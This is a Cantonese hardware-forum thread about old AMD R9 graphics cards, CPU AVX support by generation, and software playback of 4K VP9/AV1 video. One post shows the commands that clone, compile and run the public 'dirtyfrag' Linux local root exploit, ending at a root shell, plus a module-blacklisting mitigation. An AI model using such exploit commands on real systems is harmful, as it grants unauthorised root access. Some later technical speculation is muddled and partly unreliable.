MSI_R9_280_Gami

係幾嘈，懷疑未必係張XFX DD 390X，可能火牛風扇轉緊，DD390X TRI-X 390X suggested PSU 600watts，CMPSU-550VX得550watts

我發覺扭螺絲要堅決同大力㩒落去，否則易滑牙，十字紋變圓就冇得救

垂直？
https://tieba.baidu.com/p/10710721895
问个弱智问题，为啥厂家组装得时候不会伤到螺丝呢_图拉丁吧_百度贴吧

MSI_R9_280_Gami

始終覺得DD 390X買貴左，HKD$100～$150合理價，250蚊貴左，狀態又不佳，生鏽嚴重，DP x1 HDMI x1 DVI x2經常接觸不良

另一張250蚊入手sapphire Tri-X R9 390X新淨好多，近乎95成新

390X 8GB以前等于R9系列 4090 5090 7900XTX 9070XT級數最終極既卡

stepmic

留位

R9最弱既270 2GB能否流暢解碼4K 10 bit hevc 24fps及4K60 av1 vp9？
MSI_R9_280_Gami 發表於 2026-5-8 14:39

冇HEVC冇VP9冇AV1

MSI_R9_280_Gami

回覆 13# stepmic

我留定位先，都未test，懷疑應該係得

stepmic

回覆  stepmic

我留定位先，都未test，懷疑應該係得
MSI_R9_280_Gami 發表於 2026-5-9 11:14

The AMD Radeon R9 270 utilizes UVD 4.2 (Unified Video Decoder) for hardware-accelerated video decoding. Based on the Curacao PRO (GCN 2.0) GPU, the R9 270 handles H.264 and MPEG2 decoding but does not natively support newer formats like HEVC (H.265) hardware decoding.UVD Version: UVD 4.2.Architecture: Graphics Core Next 2.0 (Curacao PRO).Capabilities: Full hardware decoding for H.264, MPEG-2, VC-1, and MVC.Encoder: Video Coding Engine (VCE) 2.0.

MSI_R9_280_Gami

你啱，r9冇硬解，ffplay （from ffmpeg，or avplay from avconv）係靠AVX AVX2軟解

我標準係流暢播放唔係硬解

SNB IVB：AVX i7-3820 E5-2630 E5-4650 v2 E5-4657L v2 E5-2667 v2 E5-2697 v2 E5-1680 v2（呢粒我冇） i7-3930K（老千呃我買壞板加壞U）
HSW BDW：AVX + AVX2 E3-1271 v3 i3-4160（traded out already） i7-4770 E3-1285L v4

avx support from intel	MSDT	HEDT WX WS
Gen2ⁿᵈ SNB AVX 32nm tock	E3 ix-2xxx 1155	E5 X79 C6xx i7-3xxx i7-3820 i7-3930K i7-3970X 2011
Gen3ʳᵈ IVB AVX 22nm tick	E3 v2 ix-3xxx 1155	E5 v2 X79 C6xx i7-4xxx i7-4820K i7-4930K 2011
Gen 4ᵗʰ HSW AVX AVX2 22nm tock	E3 v3 ix-4xxx 1150	E5 v3 X99 C6xx i7-5xxx i7-5820K i7-5930K i7-5960X 2011
Gen 5ᵗʰ BDW AVX AVX2 14nm tick	E3 v4 ix-5xxx 1150	E5 v4 X99 C6xx i7-6xxx i7-6800K i7-6850K i7-6900K  i7-6950X 2011

socket 775 Xeon X3320 Yorkfield，before Gen 2ʳᵈ SNB之前，連AVX都冇


IVB 有AVX冇AVX2







XEON E5 E5 v2 X79，E3 E3 v2係SNB IVB得AVX；HSW BDW X99 E5 v3 v4 E3 v3 v4係AVX AVX2



Cascade Lake i9-10980XE 係2019年出（應該係9代然後表示性能勁前綴加1），呢類xeon  / hedt workstation CPU support AVX512，不過都好舊
同樣 Gen 9ᵗʰ Coffee Lake Refresh i9-9900 9900K 9900KF 9900KS AVX + AVX2
Gen 14ᵗʰ i7-14700KF i9-14900KF AVX + AVX2

zen：AVX + AVX2 Ryzen ( pro ) 1700(X) Threadripper 1950X
zen+：AVX + AVX2 Ryzen ( pro ) 2700(X)
zen2：AVX + AVX2 Ryzen 3600 3950X 4500 Threadripper 3960X 3990X EPYC 7B12 7D12 7262 7642 7K62 7352 7742（洋垃圾oceanel oversea refurbished rubbishes ewastes，二手交易平台好多高價賣zen2搵笨疾，zen2傳聞仲差過HSW BDW X99 XEON E5 v3 v4）
zen3：AVX + AVX2 Ryzen 5600 5600G 5600X 5950X Threadripper PRO 5995WX EPYC 7763 7B13 7C13 7J13 7713 7K83 7T83 7V13 7773X
zen4：AVX + AVX2 + AVX512 Ryzen 7950X 7500F
zen5：AVX + AVX2 + AVX512 3000蚊boxset港行既Ryzen 9950X





https://www.hkepc.com/forum/viewthread.php?fid=61&tid=2209374&page=2
E3 V4 定位係乜? - 系統組件 - 電腦領域 HKEPC Hardware - 全港 No.1 PC討論區

https://www.hkepc.com/forum/viewthread.php?fid=61&tid=2340008&page=4
逃佬度執佐粒冷門o野 - 系統組件 - 電腦領域 HKEPC Hardware - 全港 No.1 PC討論區

MSI_R9_280_Gami

試下呢個un script su係咪咁勁

mageia@localhost ~> sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
sh: line 1: /etc/modprobe.d/dirtyfrag.conf: Permission denied

疾投我超，root唔到

https://github.com/V4bel/dirtyfrag

mageia@localhost ~> sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
sh: line 1: /etc/modprobe.d/dirtyfrag.conf: Permission denied
sh: line 1: /proc/sys/vm/drop_caches: Permission denied








fish: Unknown command: gcc
fish:
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

裝成揪野（those packages are related to git & gcc）先至復現到個bug

urpme 'lib64apr1_0' 'lib64apr-util1_0' 'cvs' 'perl-Error' 'cvs-fast-export' 'lib64serf2_2' 'git-core' 'git-prompt' 'perl-Git' 'git-cvs' 'git-core-oldies' 'git-arch' 'gitk' 'perl-Digest-SHA1' 'perl-Digest-HMAC' 'perl-YAML' 'lib64utf8proc2' 'lib64svn0' 'subversion' 'perl-SVN' 'perl-Git-SVN' 'git-svn' 'perl-MIME-Base64' 'perl-Crypt-URandom' 'perl-Authen-SASL' 'git-email' 'git' 'lib64mpc3' 'libstdc++-devel' 'libstdc++-python-devel' 'kernel-userspace-headers' 'isl' 'lib64isl23' 'gcc-cpp' 'binutils' 'lib64xcrypt-devel' 'glibc-devel' 'gcc'

Important: After running this exploit, the page cache is contaminated. To clear the polluted page cache and ensure system stability, either run:
重要提示：運行此漏洞程式後，頁面快取將被污染。若要清除被污染的頁面快取並確保系統穩定性，請執行以下命令：
echo 3 > /proc/sys/vm/drop_caches

mageia@localhost ~> cd dirtyfrag/&&./exp
[root@localhost dirtyfrag]#

建議#reboot #shutdown -r now因為好窒好lag

唔記得咗root嘅password
今次全靠佢幫到手
最重要係唔使reboot#cry#dog

我用mageia要用git dl + gcc compile，佢應該係仲login as root，但冇密碼，可以裝git + gcc + dependency再用passwd改pw

MSI_R9_280_Gami

ffplay 이금주/KqQ0MxfJ_5M_HDR337-251.webm

  Stream #0:0(eng): Video: vp9 (Profile 2), yuv420p10le(tv, bt2020nc/bt2020/arib-std-b67), 3840x2160, SAR 1:1 DAR 16:9, 60 fps, 60 tbr, 1k tbn (default)

ffplay 이금주/KqQ0MxfJ_5M_315-251.webm

  Stream #0:0(eng): Video: vp9 (Profile 0), yuv420p(tv, bt709), 3840x2160, SAR 1:1 DAR 16:9, 60 fps, 60 tbr, 1k tbn (default)

ffplay 이금주/nHIRmkmGRsY-401.mp4
  Stream #0:0[0x1](und): Video: av1 (Main) (av01 / 0x31307661), yuv420p(tv, bt709), 2160x3840, 13374 kb/s, 59.94 fps, 59.94 tbr, 60k tbn (default)

ffplay 이금주/l8TwJd1zTo4.mp4
  Stream #0:0[0x1](und): Video: av1 (Main) (av01 / 0x31307661), yuv420p(tv, bt709), 2160x3840, 13455 kb/s, 60 fps, 60 tbr, 15360 tbn (default)

ffplay 이금주/AQNSQgEOPT0_401.mp4
  Stream #0:0[0x1](und): Video: av1 (Main) (av01 / 0x31307661), yuv420p(tv, bt709), 3840x2160, 13408 kb/s, 60 fps, 60 tbr, 15360 tbn (default)





第1段片4K 10bit 60fps VP9 ，E5-4650 v2 E5-4657L v2 E5-2667 v2 E5-2697 v2 + X79用RX480 RX580 8GB播都窒。。。E3-1285L v4 + Z97用R9 270 2GB 280X 3GB（$vlc $ffplay $firefox-bin）播竟然順暢，可能因為多左個AVX2（$mplayer failed zu play es fluently et smoothly，CPU usage佔用量非常低，應該冇用到CPU ISA軟解）

我之前喺另一個帖提過，我覺得4c8t E3-1285L v4性能強過8核E5-2667 v2，10核E5-4650 v2，12核E5-4657L v2 E5-2697 v2，原因估計係高頻率，多左AVX2加速，同埋128MB L4 cache。咁計法E5-1680 v2有AVX冇AVX2冇乜價值，E5-1680 v4有AVX AVX2冇AVX512（AVX3），不如3000蚊買粒港行boxset 9950X，齊x86-64-v4









zen 5 znver5 CPUID Family 1ah


有關由SNB sandy bridge首次推出既intel ringbus + uncore，參考

ringbus & core & uncore of XEON E5 E3 & icore。intel新xeon用mesh
https://zhuanlan.zhihu.com/p/2007332864144999278
SemiAnalysis重磅：CPU 回归：2026 年数据中心 CPU 版图 - 知乎

24核broadwell-EX係xeon E7 v4，唔係E5

MSI_R9_280_Gami

以下屬業餘推測

ffplay基于ffmpeg，唔同其它players如vlc mplayer smplayer mpv，係會用到cpu的指令集加速例如avx avx2 avx256 avx512 SSE

所以播片過程係cpu讀取pre-loading hard drive的a binary media file，SATA 3 介面經南橋及uncore存放喺DDR3 buffering，live playing播果陣喺DDR3讀取，cpu解碼經uncore同PCI-E Gen3 x16傳俾vcore的stream processors解碼，buffering喺GDDR vram經hdmi dp再傳俾monitor

buffered喺DDR3係some parts of a binaric media file，buffered喺vram係已解碼size極大需要大頻寬傳輸既qlig > dzəg > dzuk 逐frames muoi每幀既色彩空間

例如顯示屏係8 bits色彩深度color depth，每個點pixels RGB各8bits用2⁸=256個數字0～255表示，2⁸R x 2⁸G x 2⁸B係3維 3-dimensions既色彩空間，每一muoi qlig > jig > id > it個點既彩色可以轉變成2²⁴黑至白既灰階

alan216hk

而家啲Hardware咁貴,HKEPC啲Ching開始玩古董